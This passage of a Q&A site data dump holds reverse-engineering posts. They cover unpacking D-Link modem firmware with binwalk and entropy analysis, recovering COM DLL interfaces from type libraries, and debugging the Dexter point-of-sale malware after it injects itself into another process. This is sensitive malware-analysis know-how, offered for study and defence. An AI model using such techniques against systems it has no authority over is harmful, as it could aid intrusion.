alignment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/672461/what-is-stack-alignment?noredirect=1&amp;amp;lq=1&quot;&gt;what is “stack alignment”?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-03-13T17:11:05.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14884" PostTypeId="1" CreationDate="2017-03-12T09:05:06.827" Score="2" ViewCount="290" Body="&lt;p&gt;I'm trying to look inside some D-link modem firmware using a LIF image. I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v@debian:~/lifutils# src/progs/lifstat /home/v/Downloads/DSL-25&#xA;Volume : �SI &#xA;Tracks: 0 Surfaces: 0 Blocks per Track: 0.&#xA;Warning the medium was not initialized properly!&#xA;Directory start : 1191378964 (37230592/1/5) end : 1191395347 (37231104/1/4)&#xA;Error reading block 1191378964 from file. (Success)&#xA;v@debian:~/lifutils# &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would you go about reversing this? The modem expects the file to be uploaded using the web interface so I assume there's some offset I need to specify? But the modem doesn't allow me to peek.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;ftp://support.dlink.co.in/firmware/DSL/DSL-2520U_Z2_Z3_Tata/DSL-2520U%20Z2-Z3%20IPv6.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dlink-firmware&lt;/a&gt; &lt;a href=&quot;https://github.com/bug400/lifutils&quot; rel=&quot;nofollow noreferrer&quot;&gt;LIF-utils&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19479" LastActivityDate="2020-08-08T19:47:21.893" Title="DLink LIF firmware: Error reading block 1191378964 from file. (Success)" Tags="|firmware|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14885" PostTypeId="2" ParentId="12356" CreationDate="2017-03-12T11:06:32.563" Score="1" Body="&lt;h2&gt;The Bad News&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;DllRegisterServer&lt;/code&gt; and &lt;code&gt;DllUnregisterServer&lt;/code&gt; are two functions involved in the registration of a COM server DLL into the system. Therefore, their export is a good indication you're dealing with a COM server DLL. COM servers are infamous of their many indirect calls, mainly because a DLL server exposes from itself objects designed to be used by other executables and DLLs. You're likely to have to deal with many indirect calls between different executables.&lt;/p&gt;&#xA;&lt;h2&gt;The Good News&lt;/h2&gt;&#xA;&lt;p&gt;Now, the good news are that because COM defines functions to and objects in such a freestyle way, it also encourages creation of &lt;em&gt;Type Library&lt;/em&gt; files (*.tlb). Those files have a machine-readable format that defines the classes, methods, interfaces in details. If you can find the Type Library file(s) for your DLLs, you could extract all function arguments (Including names!), function return types, etc. directly from those files.&lt;/p&gt;&#xA;&lt;p&gt;Type Library files are likely to be in the application's directory, with other application resources or as part of the PE file itself. There are &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680581(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;several&lt;/a&gt; Type Library file readers, as well as python implementation (&lt;code&gt;pythoncom.LoadTypeLib&lt;/code&gt; from the &lt;a href=&quot;https://sourceforge.net/projects/pywin32/&quot; rel=&quot;nofollow noreferrer&quot;&gt;win32 package&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Documentation is a bit scarce, but having a Type Library will make the entire reverse engineering easier.&lt;/p&gt;&#xA;&lt;h2&gt;If all else fails&lt;/h2&gt;&#xA;&lt;p&gt;In the unfortunate case you can't find the Type Library file, you'll have to reverse engineer the functions you're interested in intercepting, and extract the meaning (and types, and sizes) of parameters from the functions themselves. This is often a bit trickier compared to having both caller and callee, but is quite doable. I the case of a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms693345(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;in-process COM server&lt;/em&gt;&lt;/a&gt;, you can even debug the calls to your COM server quite easily (by debugging the executable that loads the DLL/com server, the &lt;em&gt;COM client&lt;/em&gt;, and placing breakpoints on methods of the &lt;em&gt;COM server&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;One last thing, there are some automated tools that attempt to automatically generate a DLL proxy, &lt;a href=&quot;https://www.shysecurity.com/post/20130111-Dll%20Proxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;here's one&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-03-12T11:18:02.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14886" PostTypeId="1" AcceptedAnswerId="14887" CreationDate="2017-03-12T11:29:57.487" Score="3" ViewCount="2515" Body="&lt;p&gt;&lt;em&gt;I am kind of new in the field of reverse engineering, so sorry if it is a silly question.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to analyse some malwares for my bachelor thesis and I am currently trying &#xA;to reverse engineer a malware called &quot;Dexter&quot; which is a point-of-sale malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to my question:&lt;br&gt;&#xA;After some static analysis I tied to debug Dexter with OllyDbg, but the malware is injecting itself into the &lt;code&gt;iexplore.exe&lt;/code&gt; process, and the original process of the malware is terminating itself. How can I debug the injected code in the iexplore.exe process? I know that you can attach OllyDbg to a running process but I can't really find the injected malware code in the memory map. &lt;/p&gt;&#xA;" OwnerUserId="19481" LastEditorUserId="2147" LastEditDate="2017-03-12T18:19:38.067" LastActivityDate="2017-03-14T09:30:51.737" Title="How to debug malware that injects itself into another process?" Tags="|ollydbg|debugging|malware|injection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14887" PostTypeId="2" ParentId="14886" CreationDate="2017-03-12T13:08:01.233" Score="3" Body="&lt;p&gt;Most of the times when a malware does something like that it's simply to make debugging it harder. Therefore, you can easily breakpoint on the injection procedure and redirect it to another process. Make sure you redirect both the memory writes/injections and the code execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redirecting it to the same process might work, but it may also cause issues. It is probably reasonable to create a dummy process (I often use calc.exe) you created debugged, let the malware inject into that process instead of original target, then BP the injected code and let it run. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also debug iexplore.exe if you're interested. You'll need to kill it and then reopen it from within ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Instead of changing the target process you can do as C0rK1 suggested in his answer, and modify the first two bytes to &lt;code&gt;jmp self&lt;/code&gt; (x86/64 bytes are &lt;code&gt;EB FE&lt;/code&gt;), and then let the malicous code execute in that loop, suspend the process, place a breakpoint on the jump self loop and replace it with the original code manually. This is another common trick.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-03-14T09:30:51.737" LastActivityDate="2017-03-14T09:30:51.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14888" PostTypeId="2" ParentId="14884" CreationDate="2017-03-12T18:50:00.247" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;There is no LIF file in the D-Link binary file containing the firmware image.&lt;/strong&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/File_(command)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;file&lt;/code&gt;&lt;/a&gt; returns a false positive. Since there is no LIF file present, tools in the &lt;code&gt;lifutils&lt;/code&gt; package will fail or produce erroneous results&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Do not trust tools implicitly.&lt;/strong&gt; Tools can return false positives if they rely on magic numbers, particular byte sequences and the like. When analyzing new, unknown or unfamiliar files, especially files that do not conform to a known standard, verify the results of the tools using manual techniques such as analyzing a hexdump and visualization of the structure of the binary&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We can claim with a high degree of confidence that a HP-UX LIF file cannot be present in a D-Link binary without even analyzing the file.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;HP and the Logical Interchange Format&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Starting with the LIF:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://h20566.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c02259814&amp;amp;lang=en-us&amp;amp;cc=us&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;lif&lt;/code&gt; manual page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;LIF (Logical  Interchange Format) is a Hewlett-Packard standard &#xA;  mass-storage format that can be  used for interchange of files among&#xA;  various HP computer systems.  A LIF volume contains a header&#xA;  (identifying it as a LIF volume) and a directory that defines the&#xA;  contents (i.e. files) of the volume.  The size of the directory is&#xA;  fixed when the volume is initialized (see lifinit(1)) and sets an&#xA;  upper bound on the number of files that can be created on the volume.&#xA;  HP-UX contains a set of utilities (referred to as lif*(1)) that can be&#xA;  used to:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Initialize a LIF volume (i.e. create a header and an empty directory),&lt;/li&gt;&#xA;  &lt;li&gt;Copy files to and from LIF volumes,&lt;/li&gt;&#xA;  &lt;li&gt;List the contents of LIF volumes,&lt;/li&gt;&#xA;  &lt;li&gt;Remove LIF files,&lt;/li&gt;&#xA;  &lt;li&gt;Rename LIF files.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The lif*(1) utilities are the only utilities within HP-UX where the&#xA;  internal  structure of  a LIF volume is known.  To the rest of HP-UX,&#xA;  a LIF volume is simply a file containing some unspecified data.  The&#xA;  term LIF volume should in no way be confused with the HP-UX notion of&#xA;  a file system volume or mountable volume.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More info from an HP forum: &lt;a href=&quot;https://community.hpe.com/t5/System-Administration/Understanding-boot-programs-and-LIF-area/td-p/3070020&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding boot programs and LIF area....&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LIF files are designed to be used on HP-UX systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to HP-UX:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HP-UX (from &quot;Hewlett Packard Unix&quot;) is Hewlett Packard Enterprise's&#xA;  proprietary implementation of the Unix operating system, based on UNIX&#xA;  System V (initially System III) and first released in 1984. Recent&#xA;  versions support the HP 9000 series of computer systems, based on the&#xA;  PA-RISC processor architecture, and HP Integrity systems, based on&#xA;  Intel's Itanium architecture.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;HP-UX is proprietary (the opposite of open-source) and runs on systems with a unique instruction set architecture called PA-RISC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armed with this knowledge, we can conclude that unless&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;D-Link has some kind of agreement with HP allowing D-Link to use proprietary HP hardware and software &lt;/li&gt;&#xA;&lt;li&gt;D-Link devices use HP processors and HP-UX&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;LIF files actually cannot be present in D-Link firmware. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How to go about reversing the file&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In statistics there is an approach called &lt;a href=&quot;http://www.itl.nist.gov/div898/handbook/eda/section1/eda11.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;exploratory data analysis&lt;/a&gt; in which the data is explored using various techniques in order to gain insight about the data prior to formal analysis. A similar approach can be taken in binary analysis and reversing, in which static techniques are employed prior to dynamic techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a good reference: &lt;a href=&quot;http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering Firmware: Linksys WAG120N&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;file&lt;/code&gt; can be used, but do not expect it to be helpful&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, &lt;code&gt;file&lt;/code&gt; is basically useless when analyzing binary files that contain firmware images because these binaries often have many different files embedded within them, such as HTML documents, image files such as GIF and JPEG files, compressed file systems, bootloaders and of course the firmware itself. These do not conform to any standard and their structure and contents vary across devices and manufacturers, hence no magic bytes or standard headers or signatures. Sometimes &lt;code&gt;file&lt;/code&gt; is worse than useless because it returns false positives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;strings&lt;/code&gt; and &lt;code&gt;hexdump&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be useful strings embedded in the binary, such as pathnames to interesting files, names of functions, error messages, etc. If no human-readable ASCII sequences are produced by running &lt;code&gt;strings&lt;/code&gt; it is a strong indicator that the binary is encoded in some way (compression, obfuscation, encryption). &lt;code&gt;hexdump&lt;/code&gt; provides a way to quickly determine if there is a discernible header structure within the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Scan the binary with a firmware analysis tool like &lt;code&gt;binwalk&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;https://github.com/devttys0/binwalk/wiki/Quick-Start-Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalk&lt;/code&gt;&lt;/a&gt; with no arguments other than the name of the file to scan will cause &lt;code&gt;binwalk&lt;/code&gt; to search for various signatures within the binary that indicate the beginning of compressed regions, as well as additional information such as the presence of other files. Running &lt;code&gt;binwalk&lt;/code&gt; against the firmware image from the link in the question produces quite a bit of useful output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;44468         0xADB4          ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;44504         0xADD8          ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;85043         0x14C33         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66696 bytes&#xA;118036        0x1CD14         Unix path: /usr/share/tabset/vt100:\&#xA;118804        0x1D014         ZyXEL rom-0 configuration block, name: &quot;spt.dat&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;118824        0x1D028         ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16&#xA;128002        0x1F402         GIF image data, version &quot;89a&quot;, 125 x 25&#xA;136194        0x21402         GIF image data, version &quot;87a&quot;, 153 x 55&#xA;173900        0x2A74C         Copyright string: &quot;Copyright &amp;amp;copy; 2007 D-Link System, Inc.&quot;&#xA;188042        0x2DE8A         Copyright string: &quot;Copyright &amp;amp;copy; 2007 D-Link System, Inc.&quot;&#xA;213304        0x34138         Copyright string: &quot;Copyright &amp;amp;copy; 2007 D-Link System, Inc.&quot;&#xA;350259        0x55833         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2659840 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. Confirm the results of the scan using additional techniques&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Manual analysis using &lt;code&gt;hexdump&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Like &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;binwalk&lt;/code&gt; searches for specific sequences of bytes, which means it also can produce false positives. In the output of the scan, 2 LZMA compression signatures were found, one at offset &lt;code&gt;0x14C33&lt;/code&gt; and another at offset &lt;code&gt;0x55833&lt;/code&gt;. If the region immediately following the compression signature is structurally distinct from the region prior to the compression signature and looks random, it is a sign that it is not a false positive. Additional verification is required, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;output of &lt;code&gt;hexdump -C -s 0x14900&lt;/code&gt; (the compression signature is at &lt;code&gt;0x14C33&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00014900  74 20 20 31 20 20 20 20  20 00 43 77 6d 70 41 74  |t  1     .CwmpAt|&#xA;00014910  74 72 32 20 20 20 20 20  20 31 00 52 65 73 65 72  |tr2      1.Reser|&#xA;00014920  76 65 5f 33 20 20 20 20  20 20 20 31 00 52 65 73  |ve_3       1.Res|&#xA;00014930  65 72 76 65 5f 34 09 09  09 09 31 00 53 65 72 76  |erve_4....1.Serv|&#xA;00014940  65 72 56 36 09 09 09 09  31 00 53 65 72 76 65 72  |erV6....1.Server|&#xA;00014950  56 36 5f 65 78 74 09 09  31 00 41 63 63 65 73 73  |V6_ext..1.Access|&#xA;00014960  53 65 63 48 6f 73 74 56  36 09 31 00 41 63 63 65  |SecHostV6.1.Acce|&#xA;00014970  73 73 53 65 63 48 6f 73  74 56 36 5f 65 78 74 09  |ssSecHostV6_ext.|&#xA;00014980  31 00 52 65 73 65 72 76  65 5f 35 09 09 09 09 31  |1.Reserve_5....1|&#xA;00014990  00 50 43 50 09 09 09 09  09 09 31 00 42 77 43 74  |.PCP......1.BwCt|&#xA;000149a0  72 6c 52 75 6c 65 09 09  31 36 00 00 00 00 00 00  |rlRule..16......|&#xA;000149b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00014c00  00 00 00 00 00 00 53 49  47 04 00 01 04 88 00 00  |......SIG.......|&#xA;00014c10  41 cf e0 00 cb 32 d5 a5  48 54 50 5f 54 43 20 56  |A....2..HTP_TC V|&#xA;00014c20  20 30 2e 30 35 00 00 00  00 00 00 00 00 00 00 00  | 0.05...........|&#xA;00014c30  00 00 00 5d 00 00 80 00  88 04 01 00 00 00 00 00  |...]............|&#xA;00014c40  00 1e 02 1a 10 f9 e9 ec  c2 6e a7 ff e6 17 33 0d  |.........n....3.|&#xA;00014c50  5c ae 0c 00 3f 33 0b dd  d4 9a 4d 26 de e8 35 ed  |\...?3....M&amp;amp;..5.|&#xA;00014c60  8a dc 50 d0 60 18 b3 a3  6d 95 ff 45 c1 7f 15 94  |..P.`...m..E....|&#xA;00014c70  d0 12 90 ae ec 09 a6 1d  75 6e 41 b3 b6 43 24 6d  |........unA..C$m|&#xA;00014c80  55 cb bd 11 32 f9 54 f1  96 d5 9f f1 21 d1 39 b6  |U...2.T.....!.9.|&#xA;00014c90  d3 44 2d 74 9d 5d ff fc  3c 7f 53 84 86 03 df 84  |.D-t.]..&amp;lt;.S.....|&#xA;00014ca0  2c 5b 25 94 c2 60 f4 66  01 c1 62 9d 05 af 43 34  |,[%..`.f..b...C4|&#xA;00014cb0  9e 57 6c 8b e8 41 24 80  48 c5 5a 56 27 1a 1c c3  |.Wl..A$.H.ZV'...|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, we observe that there is a series of ASCII strings followed by an empty region (many 0x00 bytes) followed by random-looking data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, we observe that the sequence at offset &lt;code&gt;0x14C33&lt;/code&gt; is &lt;code&gt;5d 00 00 80 00&lt;/code&gt;. This is indeed &lt;a href=&quot;http://zenhax.com/viewtopic.php?f=4&amp;amp;t=27&quot; rel=&quot;nofollow noreferrer&quot;&gt;consistent with LZMA compression&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, we observe that the strings and null data region precede the LZMA compression signature and random-looking data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These together are a good indication of the presence of a compressed region.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Confirm the presence of compressed regions using entropy analysis&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Compressed data typically has much higher entropy than non-random uncompressed data&lt;/a&gt;. We can take advantage of this by locating compressed regions in a binary using entropy analysis. This can be done by using &lt;code&gt;binwalk&lt;/code&gt; with the &lt;code&gt;-E&lt;/code&gt; option like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ binwalk -E DSL-2520U&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Falling entropy edge (0.778887)&#xA;84992         0x14C00         Rising entropy edge (0.971648)   &amp;lt;----Notice&#xA;101376        0x18C00         Falling entropy edge (0.600073)&#xA;138240        0x21C00         Falling entropy edge (0.000000)&#xA;350208        0x55800         Rising entropy edge (0.966418)   &amp;lt;----Notice&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We observe here that the offsets at which there is a rising entropy edge are very close to the offsets at which the LZMA compression signatures were found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the entropy plot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Sgdfe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sgdfe.png&quot; alt=&quot;binary entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see in the plot that there are 2 areas within the binary with entropy close to 1, consistent with compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5. Visualize the binary with a visualization tool like &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binvis.io&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some binary visualization tools to choose from: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6003/visualizing-elf-binaries/6011#6011&quot;&gt;Visualizing ELF Binaries&lt;/a&gt;.&#xA;I like using binvis.io because it is fast, convenient and has some useful features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visualization can assist in quickly identifying interesting regions within binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ASCII data (blue)&#xA;  |          |&#xA;  v          v&lt;/code&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/R4yUN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R4yUN.png&quot; alt=&quot;byteclass&quot;&gt;&lt;/a&gt;&#xA;&lt;code&gt;&#xA;     ^                                 ^&#xA;     |                                 |&#xA; compressed                        compressed&#xA;     |                                 |&#xA;     v                                 v&#xA;&lt;/code&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ORFgx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ORFgx.png&quot; alt=&quot;entropy&quot;&gt;&lt;/a&gt;&#xA;&lt;code&gt;&#xA;   ^             ^&#xA;   |             |&#xA; regions of 0x00 bytes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6. Extract data from the binary&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is in those compressed regions? We can find out by extracting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ binwalk -Me DSL-2520U&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;performs the extraction and scans each extracted block. The extracted data is in a new directory called &lt;code&gt;_DSL-2520U.extracted&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;7. Analyze the extracted data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat the preceding steps for each extracted binary, but this time look for code (which will identify executable files like a kernel or bootloader), and file systems, which will contain utilities like web servers and &lt;code&gt;.cgi&lt;/code&gt; software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way of locating code is by using the &lt;code&gt;-A&lt;/code&gt; argument with &lt;code&gt;binwalk&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -A 14C33&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;304           0x130           MIPS instructions, function epilogue&#xA;612           0x264           MIPS instructions, function epilogue&#xA;676           0x2A4           MIPS instructions, function epilogue&#xA;2576          0xA10           MIPS instructions, function epilogue&#xA;3548          0xDDC           MIPS instructions, function epilogue&#xA;3592          0xE08           MIPS instructions, function epilogue&#xA;3636          0xE34           MIPS instructions, function epilogue&#xA;3672          0xE58           MIPS instructions, function epilogue&#xA;4252          0x109C          MIPS instructions, function epilogue&#xA;4336          0x10F0          MIPS instructions, function epilogue&#xA;4420          0x1144          MIPS instructions, function epilogue&#xA;4936          0x1348          MIPS instructions, function epilogue&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Excellent. It looks like the binary contains MIPS assembly code. This can be disassembled with radare2 or IDA or some other tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should be enough information to get started.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Resources&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;These don't have to do with the device/firmware asked about in the question specifically, but &lt;a href=&quot;https://www.tacnetsol.com/blogs/news/get-to-know-tns-instructor-craig-heffner&quot; rel=&quot;nofollow noreferrer&quot;&gt;devttys0 is a pro&lt;/a&gt; and reading his posts will give you an idea of how to approach many challenges faced when reversing firmware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2011/08/extracting-non-standard-squashfs-images/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Extracting Non-Standard SquashFS Images&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering Firmware: Linksys WAG120N&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2011/07/reverse-engineering-vxworks-firmware-wrt54gv8/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering VxWorks Firmware: WRT54Gv8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exploiting Embedded Systems – Part 1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.firmware.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware.re&lt;/a&gt; is experimental&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-03-12T21:28:59.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14890" PostTypeId="2" ParentId="14886" CreationDate="2017-03-13T10:05:27.020" Score="1" Body="&lt;p&gt;Most of the time when a malware has injected itself into another process,it will call   &quot;SetThreadContext&quot; to set the CONTEXT structure.You can easily get the &quot;oep&quot; of     the target process through the &quot;eax&quot; member in the CONTEXT structure.The &quot;oep&quot; stands for the original address when target process resumes,you can make a loop at the &quot;oep&quot; so that the target process will always run in the loop.But how to make a loop in the&quot;oep&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A malware often call &quot;WriteProcessMemory&quot; to write codes into target process.The second parameter of &quot;WriteProcessMemory&quot; is &quot;lpBaseAddress&quot;,it means where this codes begin in the target process.And the third parameter is &quot;lpBuffer&quot;,it stands for the buffer contains this codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily calculate the offset between &quot;oep&quot; and &quot;lpBaseAddress&quot;,then, if the offset&gt;0 as well as the offset&amp;lt; parameter &quot;nSize&quot;,add the offset to &quot;lpBuffer&quot;,you will get the address contains &quot;oep&quot; codes in the buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the &quot;oep&quot; of target process is 0x401000, the parameter &quot;lpBaseAddress&quot; is 0x400000,the parameter &quot;lpBuffer&quot; is 0x120000,so the address contains &quot;oep&quot; codes in the buffer is 0x401000-0x400000+0x120000=0x121000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then,you can change the instructions in the address contains &quot;oep&quot; to &quot;jmp itself&quot;(that is patching the first 2 bytes to EB FE).In the above example it's &quot;jmp 0x121000&quot;.After calling &quot;WriteProcessMemory&quot; and &quot;SetThreadContext&quot;,you will see codes run in a loop at the &quot;oep&quot; of target process because the instructions are changed to &quot;jmp oep&quot;,in the above example it's &quot;jmp 0x401000&quot;.the target process 